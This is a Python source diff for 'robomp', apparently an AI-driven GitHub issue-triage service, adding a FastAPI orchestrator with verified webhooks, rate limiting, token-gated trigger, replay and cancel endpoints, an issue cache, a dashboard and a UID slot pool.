from robomp.dashboard import render_index, static_dir, tail_jsonl
|
||||
from robomp.db import (
|
||||
INACTIVE_EVENT_STATES,
|
||||
Database,
|
||||
get_database,
|
||||
iso_seconds_ago,
|
||||
)
|
||||
from robomp.db import (
|
||||
issue_key as make_issue_key,
|
||||
)
|
||||
from robomp.github_backend import GitHubBackend
|
||||
from robomp.github_client import GitHubError, IssueSummary
|
||||
from robomp.manual_triage import (
|
||||
InvalidIssueRef,
|
||||
ManualTriageConflict,
|
||||
ManualTriageError,
|
||||
enqueue_manual_triage,
|
||||
parse_issue_ref,
|
||||
)
|
||||
from robomp.natives_cache import NativesCache
|
||||
from robomp.proxy_client import GitHubProxyClient, ProxyGitTransport
|
||||
from robomp.queue import WorkerPool
|
||||
from robomp.sandbox import SandboxManager
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class _IssueBrowseCacheEntry:
|
||||
repos: tuple[str, ...]
|
||||
issues: list[IssueSummary]
|
||||
errors: list[dict[str, str]]
|
||||
fetched_at: float
|
||||
|
||||
|
||||
class _IssueBrowseCache:
|
||||
"""In-process cache for the dashboard's GitHub issue browser.
|
||||
|
||||
The browse panel is a convenience picker. It should not hit GitHub's
|
||||
`/issues` endpoint on every browser reload because that endpoint returns PRs
|
||||
mixed into the issue list. Webhooks keep warmed entries fresh; the dashboard
|
||||
Refresh button can still force a live pull when an operator wants one.
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._entries: dict[tuple[str, int, tuple[str, ...]], _IssueBrowseCacheEntry] = {}
|
||||
self._lock = asyncio.Lock()
|
||||
|
||||
async def get_or_fetch(
|
||||
self,
|
||||
*,
|
||||
state: str,
|
||||
limit: int,
|
||||
repos: tuple[str, ...],
|
||||
force: bool,
|
||||
fetch: Callable[[], Awaitable[tuple[list[IssueSummary], list[dict[str, str]]]]],
|
||||
) -> tuple[_IssueBrowseCacheEntry, bool]:
|
||||
key = (state, limit, repos)
|
||||
async with self._lock:
|
||||
if not force and (entry := self._entries.get(key)) is not None:
|
||||
return entry, True
|
||||
|
||||
issues, errors = await fetch()
|
||||
issues.sort(key=lambda s: s.updated_at, reverse=True)
|
||||
entry = _IssueBrowseCacheEntry(
|
||||
repos=repos,
|
||||
issues=issues[:limit],
|
||||
errors=errors,
|
||||
fetched_at=time.time(),
|
||||
)
|
||||
async with self._lock:
|
||||
if not force and (current := self._entries.get(key)) is not None:
|
||||
return current, True
|
||||
self._entries[key] = entry
|
||||
return entry, False
|
||||
|
||||
async def apply_webhook(
|
||||
self,
|
||||
*,
|
||||
event_type: str,
|
||||
payload: Mapping[str, Any],
|
||||
allowlist: frozenset[str],
|
||||
) -> None:
|
||||
mutation = _issue_cache_mutation(event_type, payload, allowlist)
|
||||
if mutation is None:
|
||||
return
|
||||
repo, number, summary = mutation
|
||||
async with self._lock:
|
||||
for (state, limit, repos), entry in self._entries.items():
|
||||
if repo not in repos:
|
||||
continue
|
||||
entry.issues = [item for item in entry.issues if not (item.repo == repo and item.number == number)]
|
||||
if summary is not None and _cache_state_includes(state, summary.state):
|
||||
entry.issues.append(summary)
|
||||
entry.issues.sort(key=lambda s: s.updated_at, reverse=True)
|
||||
del entry.issues[limit:]
|
||||
|
||||
|
||||
def _cache_state_includes(cache_state: str, issue_state: str) -> bool:
|
||||
return cache_state == "all" or issue_state == cache_state
|
||||
|
||||
|
||||
def _repo_full_name(payload: Mapping[str, Any]) -> str | None:
|
||||
repo = payload.get("repository")
|
||||
if isinstance(repo, Mapping):
|
||||
full_name = repo.get("full_name")
|
||||
if isinstance(full_name, str) and full_name:
|
||||
return full_name
|
||||
return None
|
||||
|
||||
|
||||
def _label_names(raw: Any) -> tuple[str, ...]:
|
||||
if not isinstance(raw, (list, tuple)):
|
||||
return ()
|
||||
return tuple(str(label.get("name") or "") if isinstance(label, Mapping) else str(label) for label in raw)
|
||||
|
||||
|
||||
def _issue_summary_from_payload(repo: str, issue: Mapping[str, Any]) -> IssueSummary | None:
|
||||
number = issue.get("number")
|
||||
if not isinstance(number, int):
|
||||
return None
|
||||
user = issue.get("user")
|
||||
state = str(issue.get("state") or "open").lower()
|
||||
if state not in {"open", "closed"}:
|
||||
state = "open"
|
||||
comments = issue.get("comments")
|
||||
if not isinstance(comments, int):
|
||||
comments = 0
|
||||
return IssueSummary(
|
||||
repo=repo,
|
||||
number=number,
|
||||
title=str(issue.get("title") or ""),
|
||||
state=state,
|
||||
author=str(user.get("login") or "") if isinstance(user, Mapping) else "",
|
||||
labels=_label_names(issue.get("labels")),
|
||||
comments=comments,
|
||||
updated_at=str(issue.get("updated_at") or issue.get("created_at") or ""),
|
||||
created_at=str(issue.get("created_at") or ""),
|
||||
html_url=str(issue.get("html_url") or f"https://github.com/{repo}/issues/{number}"),
|
||||
)
|
||||
|
||||
|
||||
def _issue_cache_mutation(
|
||||
event_type: str,
|
||||
payload: Mapping[str, Any],
|
||||
allowlist: frozenset[str],
|
||||
) -> tuple[str, int, IssueSummary | None] | None:
|
||||
if event_type not in {"issues", "issue_comment"}:
|
||||
return None
|
||||
repo = _repo_full_name(payload)
|
||||
if repo is None or repo.lower() not in allowlist:
|
||||
return None
|
||||
issue = payload.get("issue")
|
||||
if not isinstance(issue, Mapping):
|
||||
return None
|
||||
number = issue.get("number")
|
||||
if not isinstance(number, int):
|
||||
return None
|
||||
if "pull_request" in issue:
|
||||
return repo, number, None
|
||||
if str(payload.get("action") or "") == "deleted":
|
||||
return repo, number, None
|
||||
summary = _issue_summary_from_payload(repo, issue)
|
||||
if summary is None:
|
||||
return None
|
||||
return repo, number, summary
|
||||
|
||||
|
||||
def _issue_browse_payload(
|
||||
*,
|
||||
entry: _IssueBrowseCacheEntry,
|
||||
cache_hit: bool,
|
||||
processed_keys: frozenset[str],
|
||||
) -> dict[str, Any]:
|
||||
return {
|
||||
"issues": [
|
||||
{
|
||||
"repo": s.repo,
|
||||
"number": s.number,
|
||||
"title": s.title,
|
||||
"state": s.state,
|
||||
"author": s.author,
|
||||
"labels": list(s.labels),
|
||||
"comments": s.comments,
|
||||
"updated_at": s.updated_at,
|
||||
"created_at": s.created_at,
|
||||
"html_url": s.html_url,
|
||||
"processed": make_issue_key(s.repo, s.number) in processed_keys,
|
||||
}
|
||||
for s in entry.issues
|
||||
],
|
||||
"errors": [dict(error) for error in entry.errors],
|
||||
"repos": list(entry.repos),
|
||||
"cache": {"hit": cache_hit, "fetched_at": entry.fetched_at},
|
||||
}
|
||||
|
||||
|
||||
def _require_proxy_mode(cfg: Settings) -> tuple[str, bytes]:
|
||||
if cfg.github_token is not None:
|
||||
raise SystemExit(
|
||||
"robomp orchestrator refuses to start with GITHUB_TOKEN set in env. "
|
||||
"The PAT must live only in the gh-proxy container."
|
||||
)
|
||||
if cfg.gh_proxy_url is None or cfg.gh_proxy_hmac_key is None:
|
||||
raise SystemExit(
|
||||
"robomp orchestrator requires ROBOMP_GH_PROXY_URL and "
|
||||
"ROBOMP_GH_PROXY_HMAC_KEY (run gh-proxy in a sibling container)."
|
||||
)
|
||||
return cfg.gh_proxy_url, cfg.gh_proxy_hmac_key.get_secret_value().encode("utf-8")
|
||||
|
||||
|
||||
def _build_orchestrator(cfg: Settings) -> tuple[GitHubBackend, ProxyGitTransport]:
|
||||
base_url, key = _require_proxy_mode(cfg)
|
||||
github = GitHubProxyClient(base_url=base_url, hmac_key=key)
|
||||
transport = ProxyGitTransport(base_url=base_url, hmac_key=key)
|
||||
return github, transport
|
||||
|
||||
|
||||
def _build_state(settings: Settings) -> dict[str, Any]:
|
||||
db = get_database(settings.sqlite_path)
|
||||
github, git_transport = _build_orchestrator(settings)
|
||||
natives_cache: NativesCache | None = None
|
||||
if settings.natives_cache_enabled:
|
||||
natives_cache = NativesCache(
|
||||
settings.natives_cache_root,
|
||||
max_entries_per_repo=settings.natives_cache_max_entries_per_repo,
|
||||
max_bytes=settings.natives_cache_max_bytes,
|
||||
)
|
||||
sandbox = SandboxManager(
|
||||
settings.workspace_root,
|
||||
transport=git_transport,
|
||||
natives_cache=natives_cache,
|
||||
)
|
||||
pool = WorkerPool(settings=settings, db=db, github=github, sandbox=sandbox, git_transport=git_transport)
|
||||
autoclose = AutocloseScheduler(settings=settings, db=db, github=github)
|
||||
return {
|
||||
"settings": settings,
|
||||
"db": db,
|
||||
"github": github,
|
||||
"git_transport": git_transport,
|
||||
"sandbox": sandbox,
|
||||
"natives_cache": natives_cache,
|
||||
"pool": pool,
|
||||
"issue_browse_cache": _IssueBrowseCache(),
|
||||
"autoclose": autoclose,
|
||||
}
|
||||
|
||||
|
||||
def create_app(settings: Settings | None = None) -> FastAPI:
|
||||
"""Build the FastAPI app. `settings` parameter is for tests."""
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
cfg = settings or get_settings()
|
||||
cfg.ensure_paths()
|
||||
app.state.bag = _build_state(cfg)
|
||||
app.state.bag["started_at"] = time.time()
|
||||
pool: WorkerPool = app.state.bag["pool"]
|
||||
await pool.start()
|
||||
autoclose: AutocloseScheduler = app.state.bag["autoclose"]
|
||||
await autoclose.start()
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
await autoclose.stop()
|
||||
await pool.stop(
|
||||
drain_timeout=cfg.shutdown_drain_timeout_seconds,
|
||||
kill_timeout=cfg.shutdown_kill_timeout_seconds,
|
||||
)
|
||||
|
||||
app = FastAPI(title="robomp", version="0.1.0", lifespan=lifespan)
|
||||
|
||||
@app.get("/healthz")
|
||||
async def healthz() -> dict[str, str]:
|
||||
return {"status": "ok"}
|
||||
|
||||
@app.get("/readyz")
|
||||
async def readyz(request: Request) -> dict[str, str]:
|
||||
pool = request.app.state.bag.get("pool")
|
||||
if pool is None:
|
||||
raise HTTPException(503, "not initialized")
|
||||
return {"status": "ready"}
|
||||
|
||||
@app.post("/webhook/github")
|
||||
async def webhook(
|
||||
request: Request,
|
||||
x_github_event: str = Header(..., alias="X-GitHub-Event"),
|
||||
x_github_delivery: str = Header(..., alias="X-GitHub-Delivery"),
|
||||
x_hub_signature_256: str | None = Header(None, alias="X-Hub-Signature-256"),
|
||||
) -> JSONResponse:
|
||||
bag = request.app.state.bag
|
||||
cfg: Settings = bag["settings"]
|
||||
body = await request.body()
|
||||
if not github_events.verify_signature(
|
||||
cfg.github_webhook_secret.get_secret_value(),
|
||||
body,
|
||||
x_hub_signature_256,
|
||||
):
|
||||
raise HTTPException(status.HTTP_401_UNAUTHORIZED, "invalid signature")
|
||||
try:
|
||||
payload = await request.json()
|
||||
except Exception as exc:
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, f"invalid json: {exc}") from exc
|
||||
|
||||
db: Database = bag["db"]
|
||||
issue_cache: _IssueBrowseCache = bag["issue_browse_cache"]
|
||||
await issue_cache.apply_webhook(
|
||||
event_type=x_github_event,
|
||||
payload=payload,
|
||||
allowlist=cfg.repo_allowlist,
|
||||
)
|
||||
|
||||
def _resolve(repo_full: str, pr_number: int) -> str | None:
|
||||
row = db.find_issue_by_pr(repo_full, pr_number)
|
||||
return row.key if row else None
|
||||
|
||||
decision = github_events.route(
|
||||
x_github_event,
|
||||
payload,
|
||||
allowlist=cfg.repo_allowlist,
|
||||
bot_login=cfg.bot_login,
|
||||
maintainers=cfg.maintainer_logins,
|
||||
reviewer_bots=cfg.reviewer_bots,
|
||||
resolve_issue_from_pr=_resolve,
|
||||
)
|
||||
|
||||
# Auto-close cancellation hooks. A pending question-issue closure is
|
||||
# cancelled synchronously the moment any human signal arrives:
|
||||
# follow-up comment in the issue thread, or the issue being closed
|
||||
# externally. The DAO is a no-op when no row exists or it's already
|
||||
# past `pending`, so this is safe to fire on every routed event.
|
||||
if decision.issue_key:
|
||||
cancel_reason: str | None = None
|
||||
if (
|
||||
x_github_event == "issue_comment"
|
||||
and str(payload.get("action") or "") == "created"
|
||||
and decision.task == "handle_comment"
|
||||
):
|
||||
cancel_reason = "user_replied"
|
||||
elif x_github_event == "issues" and str(payload.get("action") or "") == "closed":
|
||||
cancel_reason = "externally_closed"
|
||||
if cancel_reason is not None:
|
||||
cancelled = db.cancel_pending_closure(decision.issue_key, reason=cancel_reason)
|
||||
if cancelled:
|
||||
log.info(
|
||||
"autoclose cancelled",
|
||||
extra={
|
||||
"issue_key": decision.issue_key,
|
||||
"reason": cancel_reason,
|
||||
"event": x_github_event,
|
||||
},
|
||||
)
|
||||
|
||||
# Persist directive metadata on the stored payload so the durable
|
||||
# queue (and any replay) carries the maintainer signal forward.
|
||||
if decision.directive:
|
||||
payload = dict(payload)
|
||||
payload["_robomp_directive"] = {
|
||||
"body": decision.directive_body,
|
||||
"author": decision.directive_author,
|
||||
"pragmas": [list(item) for item in decision.directive_pragmas],
|
||||
}
|
||||
|
||||
if not decision.should_queue:
|
||||
log.info("skip", extra={"event": x_github_event, "reason": decision.reason})
|
||||
db.record_event(
|
||||
delivery_id=x_github_delivery,
|
||||
event_type=x_github_event,
|
||||
repo=decision.repo,
|
||||
issue_key=decision.issue_key,
|
||||
payload=payload,
|
||||
state="skipped",
|
||||
last_error=decision.reason,
|
||||
)
|
||||
return JSONResponse({"delivery": x_github_delivery, "state": "skipped"}, status_code=202)
|
||||
|
||||
# Per-user rate limiting. Lifecycle events (cleanup) carry no submitter
|
||||
# and are not gated. For everything user-driven, atomically record the
|
||||
# accepted delivery while checking the rolling window against the tier cap.
|
||||
submitter = decision.submitter
|
||||
if submitter:
|
||||
cap = github_events.rate_limit_cap(
|
||||
submitter,
|
||||
decision.association,
|
||||
unlimited=cfg.rate_limit_unlimited | cfg.maintainer_logins,
|
||||
default=cfg.rate_limit_default,
|
||||
contributor=cfg.rate_limit_contributor,
|
||||
)
|
||||
since = iso_seconds_ago(cfg.rate_limit_window_seconds)
|
||||
admission = db.admit_submission(
|
||||
delivery_id=x_github_delivery,
|
||||
login=submitter,
|
||||
repo=decision.repo,
|
||||
since=since,
|
||||
cap=cap,
|
||||
)
|
||||
if not admission.accepted:
|
||||
window = int(cfg.rate_limit_window_seconds)
|
||||
reason = f"rate limit: @{submitter} has used {admission.used}/{cap} submissions in the last {window}s"
|
||||
log.info(
|
||||
"rate_limited",
|
||||
extra={
|
||||
"event": x_github_event,
|
||||
"delivery": x_github_delivery,
|
||||
"login": submitter,
|
||||
"association": decision.association,
|
||||
"used": admission.used,
|
||||
"cap": cap,
|
||||
},
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id=x_github_delivery,
|
||||
event_type=x_github_event,
|
||||
repo=decision.repo,
|
||||
issue_key=decision.issue_key,
|
||||
payload=payload,
|
||||
state="skipped",
|
||||
last_error=reason,
|
||||
)
|
||||
return JSONResponse(
|
||||
{"delivery": x_github_delivery, "state": "skipped", "reason": "rate_limited"},
|
||||
status_code=202,
|
||||
)
|
||||
|
||||
inserted = db.record_event(
|
||||
delivery_id=x_github_delivery,
|
||||
event_type=x_github_event,
|
||||
repo=decision.repo,
|
||||
issue_key=decision.issue_key,
|
||||
payload=payload,
|
||||
state="queued",
|
||||
)
|
||||
if inserted:
|
||||
pool: WorkerPool = bag["pool"]
|
||||
pool.wake()
|
||||
log.info(
|
||||
"queued", extra={"event": x_github_event, "delivery": x_github_delivery, "key": decision.issue_key}
|
||||
)
|
||||
else:
|
||||
log.info("duplicate", extra={"event": x_github_event, "delivery": x_github_delivery})
|
||||
return JSONResponse({"delivery": x_github_delivery, "state": "queued"}, status_code=202)
|
||||
|
||||
@app.post("/replay")
|
||||
async def replay(
|
||||
request: Request,
|
||||
x_robomp_token: str | None = Header(None, alias="X-Robomp-Replay-Token"),
|
||||
delivery_id: str = "",
|
||||
) -> JSONResponse:
|
||||
bag = request.app.state.bag
|
||||
cfg: Settings = bag["settings"]
|
||||
if cfg.replay_token is None:
|
||||
raise HTTPException(404, "replay disabled")
|
||||
if x_robomp_token != cfg.replay_token.get_secret_value():
|
||||
raise HTTPException(401, "invalid replay token")
|
||||
db: Database = bag["db"]
|
||||
row = db.get_event(delivery_id)
|
||||
if row is None:
|
||||
raise HTTPException(404, "unknown delivery")
|
||||
if not db.requeue_event(delivery_id, from_states=INACTIVE_EVENT_STATES):
|
||||
raise HTTPException(409, f"delivery {delivery_id} is {row.state}; only inactive events can be replayed")
|
||||
bag["pool"].wake()
|
||||
return JSONResponse({"delivery": delivery_id, "state": "queued"})
|
||||
|
||||
def _require_trigger_token(cfg: Settings, token: str | None) -> None:
|
||||
if cfg.replay_token is None:
|
||||
raise HTTPException(404, "trigger disabled (set ROBOMP_REPLAY_TOKEN to enable)")
|
||||
if token != cfg.replay_token.get_secret_value():
|
||||
raise HTTPException(401, "invalid replay token")
|
||||
|
||||
@app.get("/api/github/issues")
|
||||
async def api_github_issues(
|
||||
request: Request,
|
||||
state: str = "open",
|
||||
limit: int = 30,
|
||||
refresh: bool = False,
|
||||
x_robomp_token: str | None = Header(None, alias="X-Robomp-Replay-Token"),
|
||||
) -> dict[str, Any]:
|
||||
"""Browse issues across `ROBOMP_REPO_ALLOWLIST` for the trigger picker.
|
||||
|
||||
Token-gated identically to `/api/trigger`: this can expose titles from
|
||||
private repos. Normal dashboard loads use the server cache; only cache
|
||||
misses and explicit refreshes hit GitHub.
|
||||
"""
|
||||
bag = request.app.state.bag
|
||||
cfg: Settings = bag["settings"]
|
||||
_require_trigger_token(cfg, x_robomp_token)
|
||||
|
||||
if state not in ("open", "closed", "all"):
|
||||
raise HTTPException(400, "state must be open|closed|all")
|
||||
capped = max(1, min(int(limit), 100))
|
||||
github: GitHubBackend = bag["github"]
|
||||
issue_cache: _IssueBrowseCache = bag["issue_browse_cache"]
|
||||
repos = tuple(sorted(cfg.repo_allowlist))
|
||||
if not repos:
|
||||
return {"issues": [], "errors": [], "repos": [], "cache": {"hit": False, "fetched_at": time.time()}}
|
||||
|
||||
async def _fetch() -> tuple[list[IssueSummary], list[dict[str, str]]]:
|
||||
# Fan out across allowlisted repos; per-repo failures don't take down the panel.
|
||||
async def _one(repo: str) -> tuple[str, list[IssueSummary], str | None]:
|
||||
try:
|
||||
items = await github.list_issues(repo, state=state, limit=capped)
|
||||
return repo, items, None
|
||||
except Exception as exc: # GitHubError, network, etc.
|
||||
log.warning("list_issues failed", extra={"repo": repo, "err": str(exc)})
|
||||
return repo, [], str(exc)
|
||||
|
||||
results = await asyncio.gather(*(_one(r) for r in repos))
|
||||
merged: list[IssueSummary] = []
|
||||
errors: list[dict[str, str]] = []
|
||||
for repo, items, err in results:
|
||||
if err is not None:
|
||||
errors.append({"repo": repo, "error": err})
|
||||
merged.extend(items)
|
||||
return merged, errors
|
||||
|
||||
entry, cache_hit = await issue_cache.get_or_fetch(
|
||||
state=state,
|
||||
limit=capped,
|
||||
repos=repos,
|
||||
force=refresh,
|
||||
fetch=_fetch,
|
||||
)
|
||||
# `processed` is not cached: a freshly-triaged issue must immediately
|
||||
# disappear from the "fresh issues" filter on the next dashboard refresh.
|
||||
db: Database = bag["db"]
|
||||
processed = frozenset(db.processed_issue_keys(make_issue_key(s.repo, s.number) for s in entry.issues))
|
||||
return _issue_browse_payload(entry=entry, cache_hit=cache_hit, processed_keys=processed)
|
||||
|
||||
@app.post("/api/trigger")
|
||||
async def api_trigger(
|
||||
request: Request,
|
||||
payload: dict[str, Any] = Body(...),
|
||||
x_robomp_token: str | None = Header(None, alias="X-Robomp-Replay-Token"),
|
||||
) -> JSONResponse:
|
||||
"""Manually queue an issue. Modes:
|
||||
|
||||
- `triage`: fetch fresh from GitHub and enqueue (or re-enqueue) as if `issues.opened`.
|
||||
- `retry`: requeue an existing stored event. Identify it by `delivery_id` or `issue`.
|
||||
"""
|
||||
bag = request.app.state.bag
|
||||
cfg: Settings = bag["settings"]
|
||||
_require_trigger_token(cfg, x_robomp_token)
|
||||
|
||||
db: Database = bag["db"]
|
||||
github: GitHubBackend = bag["github"]
|
||||
pool: WorkerPool = bag["pool"]
|
||||
|
||||
mode = str(payload.get("mode") or "").strip().lower()
|
||||
if mode not in ("triage", "retry"):
|
||||
raise HTTPException(400, "mode must be 'triage' or 'retry'")
|
||||
|
||||
issue_ref = payload.get("issue")
|
||||
delivery_id = payload.get("delivery_id")
|
||||
|
||||
if mode == "triage":
|
||||
if not isinstance(issue_ref, str) or not issue_ref:
|
||||
raise HTTPException(400, "triage requires 'issue' = 'owner/repo#NN'")
|
||||
try:
|
||||
repo_full, number = parse_issue_ref(issue_ref)
|
||||
except InvalidIssueRef as exc:
|
||||
raise HTTPException(400, str(exc)) from exc
|
||||
if not cfg.allows(repo_full):
|
||||
raise HTTPException(403, f"{repo_full} not in ROBOMP_REPO_ALLOWLIST")
|
||||
try:
|
||||
delivery = await enqueue_manual_triage(
|
||||
db=db,
|
||||
github=github,
|
||||
repo_full=repo_full,
|
||||
number=number,
|
||||
)
|
||||
except ManualTriageConflict as exc:
|
||||
raise HTTPException(409, str(exc)) from exc
|
||||
except ManualTriageError as exc:
|
||||
raise HTTPException(400, str(exc)) from exc
|
||||
except GitHubError as exc:
|
||||
raise HTTPException(502, f"github error: {exc.status} {exc.message}") from exc
|
||||
pool.wake()
|
||||
log.info("manual triage", extra={"delivery": delivery, "issue": f"{repo_full}#{number}"})
|
||||
return JSONResponse(
|
||||
{"delivery": delivery, "state": "queued", "mode": "triage"},
|
||||
status_code=202,
|
||||
)
|
||||
|
||||
# mode == "retry"
|
||||
if isinstance(delivery_id, str) and delivery_id:
|
||||
target = delivery_id
|
||||
elif isinstance(issue_ref, str) and issue_ref:
|
||||
try:
|
||||
repo_full, number = parse_issue_ref(issue_ref)
|
||||
except InvalidIssueRef as exc:
|
||||
raise HTTPException(400, str(exc)) from exc
|
||||
if not cfg.allows(repo_full):
|
||||
raise HTTPException(403, f"{repo_full} not in ROBOMP_REPO_ALLOWLIST")
|
||||
row = db.latest_event_for_issue(make_issue_key(repo_full, number))
|
||||
if row is None:
|
||||
raise HTTPException(404, f"no retryable stored event for {repo_full}#{number}")
|
||||
target = row.delivery_id
|
||||
else:
|
||||
raise HTTPException(400, "retry requires 'delivery_id' or 'issue'")
|
||||
|
||||
event = db.get_event(target)
|
||||
if event is None:
|
||||
raise HTTPException(404, f"unknown delivery {target}")
|
||||
if not db.requeue_event(target, from_states=INACTIVE_EVENT_STATES):
|
||||
raise HTTPException(409, f"delivery {target} is {event.state}; only inactive events can be retried")
|
||||
pool.wake()
|
||||
log.info("manual retry", extra={"delivery": target})
|
||||
return JSONResponse(
|
||||
{"delivery": target, "state": "queued", "mode": "retry"},
|
||||
status_code=202,
|
||||
)
|
||||
|
||||
@app.post("/api/cancel")
|
||||
async def api_cancel(
|
||||
request: Request,
|
||||
payload: dict[str, Any] = Body(...),
|
||||
x_robomp_token: str | None = Header(None, alias="X-Robomp-Replay-Token"),
|
||||
) -> JSONResponse:
|
||||
"""Stop a running event. The omp subprocess is killed; the row lands in
|
||||
`failed` with `cancelled by operator` as the error.
|
||||
"""
|
||||
bag = request.app.state.bag
|
||||
cfg: Settings = bag["settings"]
|
||||
_require_trigger_token(cfg, x_robomp_token)
|
||||
|
||||
delivery_id = payload.get("delivery_id")
|
||||
if not isinstance(delivery_id, str) or not delivery_id:
|
||||
raise HTTPException(400, "cancel requires 'delivery_id'")
|
||||
|
||||
db: Database = bag["db"]
|
||||
event = db.get_event(delivery_id)
|
||||
if event is None:
|
||||
raise HTTPException(404, f"unknown delivery {delivery_id}")
|
||||
|
||||
pool: WorkerPool = bag["pool"]
|
||||
fired = await pool.cancel_event(delivery_id)
|
||||
log.info(
|
||||
"manual cancel",
|
||||
extra={"delivery": delivery_id, "fired": fired, "state": event.state},
|
||||
)
|
||||
return JSONResponse(
|
||||
{"delivery": delivery_id, "fired": fired, "previous_state": event.state},
|
||||
status_code=202,
|
||||
)
|
||||
|
||||
@app.get("/events")
|
||||
async def events(request: Request, limit: int = 50) -> dict[str, Any]:
|
||||
rows = request.app.state.bag["db"].list_events(limit=limit)
|
||||
return {
|
||||
"events": [
|
||||
{
|
||||
"delivery_id": r.delivery_id,
|
||||
"event_type": r.event_type,
|
||||
"repo": r.repo,
|
||||
"issue_key": r.issue_key,
|
||||
"state": r.state,
|
||||
"attempts": r.attempts,
|
||||
"received_at": r.received_at,
|
||||
"last_error": r.last_error,
|
||||
}
|
||||
for r in rows
|
||||
]
|
||||
}
|
||||
|
||||
@app.get("/issues")
|
||||
async def issues(request: Request, limit: int = 100) -> dict[str, Any]:
|
||||
rows = request.app.state.bag["db"].list_issues(limit=limit)
|
||||
return {
|
||||
"issues": [
|
||||
{
|
||||
"key": r.key,
|
||||
"repo": r.repo,
|
||||
"number": r.number,
|
||||
"branch": r.branch,
|
||||
"pr_number": r.pr_number,
|
||||
"state": r.state,
|
||||
"classification": r.classification,
|
||||
"updated_at": r.updated_at,
|
||||
}
|
||||
for r in rows
|
||||
]
|
||||
}
|
||||
|
||||
@app.get("/", response_class=HTMLResponse)
|
||||
async def index(request: Request) -> HTMLResponse:
|
||||
cfg: Settings = request.app.state.bag["settings"]
|
||||
token = cfg.replay_token.get_secret_value() if cfg.replay_token else None
|
||||
return HTMLResponse(render_index(token))
|
||||
|
||||
@app.get("/api/status")
|
||||
async def api_status(request: Request) -> dict[str, Any]:
|
||||
bag = request.app.state.bag
|
||||
cfg: Settings = bag["settings"]
|
||||
db: Database = bag["db"]
|
||||
pool: WorkerPool = bag["pool"]
|
||||
started = float(bag.get("started_at") or time.time())
|
||||
issues_rows = db.list_issues(limit=200)
|
||||
latest_events = db.latest_events_for_issues(r.key for r in issues_rows)
|
||||
|
||||
def _latest_event_payload(key: str) -> dict[str, Any] | None:
|
||||
latest = latest_events.get(key)
|
||||
if latest is None:
|
||||
return None
|
||||
return {
|
||||
"delivery_id": latest.delivery_id,
|
||||
"event_type": latest.event_type,
|
||||
"state": latest.state,
|
||||
"attempts": latest.attempts,
|
||||
"received_at": latest.received_at,
|
||||
"last_error": latest.last_error,
|
||||
}
|
||||
|
||||
events_rows = db.list_events(limit=25)
|
||||
return {
|
||||
"runtime": {
|
||||
"bot_login": cfg.bot_login,
|
||||
"repo_allowlist": sorted(cfg.repo_allowlist),
|
||||
"max_concurrency": cfg.max_concurrency,
|
||||
"model": cfg.model,
|
||||
"thinking_level": cfg.thinking_level,
|
||||
"uptime_seconds": max(0.0, time.time() - started),
|
||||
},
|
||||
"event_counts": db.event_state_counts(),
|
||||
"issue_event_counts": db.latest_issue_event_state_counts(),
|
||||
"running_events": db.list_running_events(),
|
||||
"inflight": await pool.inflight_snapshot(),
|
||||
"issues": [
|
||||
{
|
||||
"key": r.key,
|
||||
"repo": r.repo,
|
||||
"number": r.number,
|
||||
"branch": r.branch,
|
||||
"pr_number": r.pr_number,
|
||||
"state": r.state,
|
||||
"classification": r.classification,
|
||||
"updated_at": r.updated_at,
|
||||
"latest_event": _latest_event_payload(r.key),
|
||||
}
|
||||
for r in issues_rows
|
||||
],
|
||||
"recent_events": [
|
||||
{
|
||||
"delivery_id": r.delivery_id,
|
||||
"event_type": r.event_type,
|
||||
"repo": r.repo,
|
||||
"issue_key": r.issue_key,
|
||||
"state": r.state,
|
||||
"attempts": r.attempts,
|
||||
"received_at": r.received_at,
|
||||
"last_error": r.last_error,
|
||||
}
|
||||
for r in events_rows
|
||||
],
|
||||
}
|
||||
|
||||
@app.get("/api/logs")
|
||||
async def api_logs(request: Request, limit: int = 400) -> dict[str, Any]:
|
||||
cfg: Settings = request.app.state.bag["settings"]
|
||||
capped = max(1, min(int(limit), 2000))
|
||||
entries = tail_jsonl(cfg.log_dir / "robomp.log.jsonl", limit=capped)
|
||||
return {"entries": entries, "count": len(entries), "limit": capped}
|
||||
|
||||
# Mount the built dashboard bundle. The `index.html` itself is served by
|
||||
# the `@app.get("/")` handler above so the per-instance replay-token can
|
||||
# be substituted; `/static/*` carries the hashed JS/CSS produced by Vite.
|
||||
app.mount("/static", StaticFiles(directory=static_dir()), name="static")
|
||||
|
||||
return app
|
||||
|
||||
|
||||
__all__ = ["create_app"]
|
||||
@@ -0,0 +1,37 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from collections.abc import Iterable
|
||||
|
||||
|
||||
class SlotPool:
|
||||
def __init__(self, slot_uids: Iterable[int] = ()) -> None:
|
||||
self._slot_uids = tuple(slot_uids)
|
||||
if len(self._slot_uids) != len(set(self._slot_uids)):
|
||||
raise ValueError("slot UIDs must be unique")
|
||||
|
||||
self._available: asyncio.Queue[int] = asyncio.Queue()
|
||||
for slot_uid in self._slot_uids:
|
||||
self._available.put_nowait(slot_uid)
|
||||
self._checked_out: set[int] = set()
|
||||
|
||||
@property
|
||||
def slot_uids(self) -> tuple[int, ...]:
|
||||
return self._slot_uids
|
||||
|
||||
async def acquire(self) -> int | None:
|
||||
if not self._slot_uids:
|
||||
return None
|
||||
|
||||
slot_uid = await self._available.get()
|
||||
self._checked_out.add(slot_uid)
|
||||
return slot_uid
|
||||
|
||||
def release(self, slot_uid: int | None) -> None:
|
||||
if not self._slot_uids and slot_uid is None:
|
||||
return
|
||||
if slot_uid is None or slot_uid not in self._checked_out:
|
||||
raise ValueError("slot UID was not acquired")
|
||||
|
||||
self._checked_out.remove(slot_uid)
|
||||
self._available.put_nowait(slot_uid)
|
||||
@@ -0,0 +1,709 @@
|
||||
"""Task entry points dispatched off the durable event queue."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from collections.abc import Mapping
|
||||
from typing import Any
|
||||
|
||||
from robomp import persona
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, IssueRow, IssueState, issue_key
|
||||
from robomp.github_backend import GitHubBackend
|
||||
from robomp.github_client import (
|
||||
CommentInfo,
|
||||
GitHubError,
